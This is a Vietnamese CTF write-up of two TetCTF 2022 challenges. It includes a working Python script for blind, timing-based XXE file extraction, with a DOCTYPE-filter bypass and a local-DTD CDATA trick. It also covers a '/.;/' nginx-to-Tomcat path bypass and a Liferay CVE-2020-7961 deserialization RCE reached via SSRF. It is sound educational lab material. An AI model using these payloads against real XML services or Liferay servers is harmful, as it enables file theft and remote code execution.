TETCTF2022- transform2newyear & admin portal

TETCTF2022- transform2newyear & admin portal

Contents

Source code

https://drive.google.com/file/d/1w4vyQOtuHLiXsBQBmtXFnnAdZWnr-wxT/view?usp=sharing

Flag1

Sau khi đã có source, ta focus vào folder transfrom2newyear để tìm flag1.

Từ Dockerfile, flag sẽ được lưu ở một "secret" directory với một "secret" name

# secret place to store flag :)
RUN export RAN_DIR=/`tr -dc T-Zt-z0-9 </dev/urandom | head -c 10 ; echo ''`/ && mkdir -p $RAN_DIR && cd $RAN_DIR && echo "TetCTF{<?TetCTF ?> sample flag, :) }" > flag_`tr -dc T-Zt-z0-9 </dev/urandom | head -c 5 ; echo ''`.txt

Giải nén file .jar và focus vào TetCtfController.class

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package foo.bar.tetctf;

import javax.xml.transform.TransformerException;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;

@Controller
@RequestMapping({"/tetctf/2022"})
public class TetCtfController {
    String output;

    public TetCtfController() {
    }

    @RequestMapping(
        value = {"/transform2newyear"},
        method = {RequestMethod.POST},
        consumes = {"text/xml"}
    )
    public String transform(Model model, @RequestBody String doc) throws TransformerException {
        if (doc != null && doc != "") {
            System.out.println("Processing ...");
            System.out.println(doc);
            System.out.println("---------");

            try {
                Utils.transform(doc);
                this.output = "Happy new year and enjoy TetCTF 2022 !";
                System.out.println("Done ...");
            } catch (TransformerException var4) {
                throw new TetCtfException("TransformerException");
            }
        } else {
            this.output = "nope!";
        }

        model.addAttribute("output", this.output);
        return "output";
    }
}

Server nhận một POST request ở /tetctf/2022/transform2newyear và thực hiện Utils.transform(doc), vuln ở hàm này là XXE

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package foo.bar.tetctf;

import java.io.ByteArrayOutputStream;
import java.io.Reader;
import java.io.StringReader;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.dom.DOMSource;
import javax.xml.transform.stream.StreamResult;
import org.w3c.dom.Document;
import org.xml.sax.InputSource;

public class Utils {
    public Utils() {
    }

    public static Document parseXML(String data) {
        preParsingValidation(data);
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        factory.setNamespaceAware(true);

        try {
            Reader reader = new StringReader(data);

            try {
                DocumentBuilder builder = factory.newDocumentBuilder();
                Document javaDoc = builder.parse(new InputSource(reader));
                return javaDoc;
            } catch (Exception var5) {
                throw new TetCtfException("DocumentBuilder exception");
            }
        } catch (Exception var6) {
            throw new TetCtfException("Exception");
        }
    }

    private static void preParsingValidation(String xmlString) {
        if (xmlString != null && xmlString.length() > 0) {
            int len = xmlString.length();
            int i = 0;
            boolean done = false;

            int curChar;
            while(i < len && !done) {
                curChar = xmlString.charAt(i);
                if (curChar != 32 && curChar != 9 && curChar != 10 && curChar != 13) {
                    if (curChar == 60 && i + 5 < len) {
                        if ("<!--".equals(xmlString.substring(i, i + 4))) {
                            for(i += 4; i + 3 < len && !"-->".equals(xmlString.substring(i, i + 3)); ++i) {
                            }

                            i += 3;
                        } else if (!"<?xml".equals(xmlString.substring(i, i + 5))) {
                            done = true;
                        } else {
                            for(i += 5; i + 3 < len && !"?>".equals(xmlString.substring(i, i + 2)); ++i) {
                            }

                            i += 2;
                        }
                    } else {
                        done = true;
                    }
                } else {
                    ++i;
                }
            }

            curChar = i + "<!DOCTYPE".length();
            if (xmlString.length() >= curChar && "<!DOCTYPE".equals(xmlString.substring(i, curChar))) {
                throw new TetCtfException("SECURITY WARNING: Potential DOS attack detected. The XML message contains a DTD. Therefore, the message is rejected.");
            }
        }
    }

    public static void transform(String doc) throws TransformerException {
        Document document = parseXML(doc);
        DOMSource domSource = new DOMSource(document);
        TransformerFactory tFactory = TransformerFactory.newInstance();
        tFactory.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
        Transformer transformer = tFactory.newTransformer(domSource);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        transformer.transform(domSource, new StreamResult(byteArrayOutputStream));
    }
}

Nhưng trước hết ta phải bypass được đoạn check ở hàm preParsingValidation, hàm này hoạt động như sau: duyệt từ <!-- ->--> -><?xml -> ?>, nếu chuỗi sau đó là <!DOCTYPE thì sẽ quăng ra exception SECURITY WARNING: Potential DOS attack detected. The XML message contains a DTD. Therefore, the message is rejected.

Để qua được hàm check thì mình bay vào đọc docs, để ý tới chỗ này

image.png

Có thể dùng Process instruction ngay sau XMLDecl

\=> Bypass với <?xml version="1.0" encoding="UTF-8"><?bla?>

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:if test="substring(//files,1,1)='.'"> <xsl:for-each select="//."> <xsl:for-each select="//."> <xsl:for-each select="//."> <xsl:for-each select="//."> <xsl:for-each select="//."> <xsl:for-each select="//."> </xsl:for-each> </xsl:for-each> </xsl:for-each> </xsl:for-each> </xsl:for-each> </xsl:for-each> </xsl:if> &xxe; </xsl:template> </xsl:stylesheet>

Lưu ý: vì flag có chứa kí tự <??> nên xml parser sẽ parse mất đoạn <?TetCTF ?>

\=> khắc phục bằng cách dùng CDATA + local dtd

root@b873d5a8082c:/# find / | grep "fonts.dtd" /usr/share/xml/fontconfig/fonts.dtd find: '/proc/7/map_files': Permission denied

Script solve


import requests
import string
import time
import requests
from html import escape

url = "http://192.168.169.132:80/tetctf/2022/transform2newyear"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Accept-Encoding": "gzip, deflate", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Connection": "close", "sec-ch-ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"96\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"Linux\"", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Language": "en-US,en;q=0.9", "Content-Type": "text/xml"}

# find secret directory

# res = ""
# for i in range(1,1000):
#     for c in '.' + string.ascii_lowercase + ' ' + string.ascii_uppercase + string.digits: 
#         data = f"<?xml version=\"1.0\" encoding=\"UTF-8\"?><?bla?>\r\n<!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"file:///\"> ]>\r\n\r\n<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\r\n          <xsl:template match=\"/\">\r\n          <xsl:if test=\"substring(//files,{str(i)},1)='{c}'\">\r\n            <xsl:for-each select=\"//.\">\r\n            <xsl:for-each select=\"//.\">\r\n            <xsl:for-each select=\"//.\">\r\n            <xsl:for-each select=\"//.\">\r\n            <xsl:for-each select=\"//.\">\r\n<xsl:for-each select=\"//.\">\r\n            <a/>\r\n           </xsl:for-each>\r\n            </xsl:for-each>\r\n            </xsl:for-each>\r\n            </xsl:for-each>\r\n            </xsl:for-each>\r\n            </xsl:for-each>\r\n          </xsl:if>\r\n\r\n \r\n<files>&xxe;</files>\r\n </xsl:template>\r\n        </xsl:stylesheet>"

#         payload= data.replace("INDEX", str(i)).replace("CHAR", c)
#         start = time.time()
#         r = requests.post(url, headers=headers, data=data)
#         end = time.time()
#         if "Happy" not in r.text:
#             print("sthing wrong")
#             exit()
#         if(end - start > 0.4):
#             res += c
#             print(f"[-] res: {res}")
#             break

secret_dir = "9W88Z3z0U7"
# find flag filename
# res = ""
# i = 0
# while not res.endswith('.txt'):
#     for c in '.' + string.ascii_lowercase + ' ' + string.ascii_uppercase + string.digits + '_': 
#         data = f"<?xml version=\"1.0\" encoding=\"UTF-8\"?><?bla?>\r\n<!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"file:///{secret_dir}/\"> ]>\r\n\r\n<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\r\n          <xsl:template match=\"/\">\r\n          <xsl:if test=\"substring(//files,{str(i)},1)='{c}'\">\r\n            <xsl:for-each select=\"//.\">\r\n            <xsl:for-each select=\"//.\">\r\n            <xsl:for-each select=\"//.\">\r\n            <xsl:for-each select=\"//.\">\r\n            <xsl:for-each select=\"//.\">\r\n<xsl:for-each select=\"//.\">\r\n            <a/>\r\n           </xsl:for-each>\r\n            </xsl:for-each>\r\n            </xsl:for-each>\r\n            </xsl:for-each>\r\n            </xsl:for-each>\r\n            </xsl:for-each>\r\n          </xsl:if>\r\n\r\n \r\n<files>&xxe;</files>\r\n </xsl:template>\r\n        </xsl:stylesheet>"

#         payload= data.replace("INDEX", str(i)).replace("CHAR", c)
#         start = time.time()
#         r = requests.post(url, headers=headers, data=data)
#         end = time.time()
#         if "Happy" not in r.text:
#             print("sthing wrong")
#             exit()
#         if(end - start > 0.4):
#             res += c
#             print(f"[-] res: {res}")
#             break
#     i+=1

flag_filename = "flag_Z39Xt.txt"
# find flag filename
res = ""
i = 0
while not res.endswith('}'):
    for c in string.printable: 
        data = f"<?xml version=\"1.0\" encoding=\"UTF-8\"?><?bla?>\r\n<!DOCTYPE message [\r\n    <!ENTITY % local_dtd SYSTEM \"file:///usr/share/xml/fontconfig/fonts.dtd\">\r\n\r\n    <!ENTITY % constant 'aaa)>\r\n        <!ENTITY &#x25; start \"<![CDATA[\">\r\n        <!ENTITY &#x25; end \"]]>\">\r\n        <!ENTITY &#x25; file SYSTEM \"file:///{secret_dir}/{flag_filename}\">\r\n        <!ENTITY &#x25; eval \"<!ENTITY data &#x27;&#x25;start;&#x25;file;&#x25;end;&#x27;>\">\r\n        &#x25;eval;\r\n        <!ELEMENT aa (bb'>\r\n\r\n    %local_dtd;\r\n]>\r\n\r\n<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\r\n          <xsl:template match=\"/\">\r\n          <xsl:if test=\"substring(//files,{str(i)},1)='{escape(c)}'\">\r\n            <xsl:for-each select=\"//.\">\r\n            <xsl:for-each select=\"//.\">\r\n            <xsl:for-each select=\"//.\">\r\n            <xsl:for-each select=\"//.\">\r\n            <xsl:for-each select=\"//.\">\r\n<xsl:for-each select=\"//.\">\r\n            <a/>\r\n           </xsl:for-each>\r\n            </xsl:for-each>\r\n            </xsl:for-each>\r\n            </xsl:for-each>\r\n            </xsl:for-each>\r\n            </xsl:for-each>\r\n          </xsl:if>\r\n\r\n \r\n<files>&data;</files>\r\n </xsl:template>\r\n        </xsl:stylesheet>"

        payload= data.replace("INDEX", str(i)).replace("CHAR", c)
        start = time.time()
        r = requests.post(url, headers=headers, data=data)
        end = time.time()
        if(end - start > 0.4):
            res += c
            print(f"[-] res: {res}")
            break
    i+=1

Flag2

Ở phần tìm flag2 thì mình tham khảo ở đây là chính, viết lại vì một phần muốn học hỏi và take note cho bản thân 😊

Sẽ gồm có 2 phần nhỏ

  1. Bypass nginx config để "chạm" được tới /api/jsonws

  2. RCE đọc file flag

Bypass nginx config

Mình copy nguyên thư mục adminPortal ra ngoài và build docker để tiện cho việc test.

Tóm tắt lại file config như sau

server {
  listen 80;

  server_name    admin.2022.tet.ctf;
  access_log /var/log/nginx/admin-tetctf-access.log;
  error_log /var/log/nginx/admin-tetctf-error.log;

  location / {
        proxy_set_header X-Forwarded-Server $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_pass http://127.0.0.1:8080;
  }

  location  /api {
        # it's bad for Liferay :)
        deny all;
  }

  location ~ .*\/invoke {
        # it's bad for Liferay :)
        deny all;
  }

  location ~ .*\/..\; {
        # it's bad for Tomcat :)
        deny all;
  }

  location ~ .*\/\; {
        # it's bad for Tomcat :)
        deny all;
  }

}
  • Mặc định sẽ forward request tới http://127.0.0.1:8080 (liferay portal)

  • Nếu request URI là /api, */invoke, */..; hoặc */; -> forbidden

Vì tác giả cố tình sử dụng nginx + apache tomcat server nên vẫn có khả năng bypass được

image.png

\=> /.;/api/jsonws bypass

image.png

Giải thích một tí khi ta access tới http://127.0.0.1/.;/api/jsonws nginx sẽ "thấy" http://127.0.0.1/.;/api/jsonws nhưng tomcat server lại resolve thành http://127.0.0.1/./api/jsonws -> http://127.0.0.1/api/jsonws từ đó bypass thành công.

RCE

Từ file docker, bài sử dụng liferay/portal:7.0.6-ga7 và ở version này liferay bị lỗi và có thể dẫn đến RCE (CVE-2020-7961). Tham khảo tại : https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html, https://www.synacktiv.com/en/publications/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html, https://vsrc.vng.com.vn/blog/liferay-revisited-a-tale-of-20k/ ...

Nhưng ở đây có một vấn đề đó là server này chặn outbound: "firewall strictly prohibit making out-going connection" vì vậy u0k++ đã dùng một tool có tên là yoserial_echo. Bản chất của tool này sẽ lấy command của ta ở dạng base64 encode thông qua header, thực thi và trả về kết quả ở response

image.png

Trong ngữ cảnh bài này, ta có thể giao tiếp với adminPortal server thông qua SSRF (XXE -> SSRF) ở flag1, nhưng cũng bởi vì vậy mà ta chỉ có thể gửi GET request. Để không bị 414 URI Too Long thì cần custom lại tool, execute command và ghi output ra một vị trí có thể truy cập tới được. pull docker image liferay/portal:7.0.6-ga7 về và test thôi

Custom code:

image.png

Gen ra payload và gửi với dạng: http://127.0.0.1:8888/api/jsonws/expandocolumn/update-column/column-id/1/name/1/type/1/%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource/defaultData.userOverridesAsString/HexAsciiSerializedMap:aced...d78%3B

Sau đó access tới ../html/icons/bla

image.png

\=> ghi output command thành công

Kịch bản khai thác sẽ là SSRF để ghi kết quả của /readflag ra ../html/icons/flag sau đó dùng lại kĩ thuật như ở flag1 để lấy từng kí tự.

Vậy là xong 😉.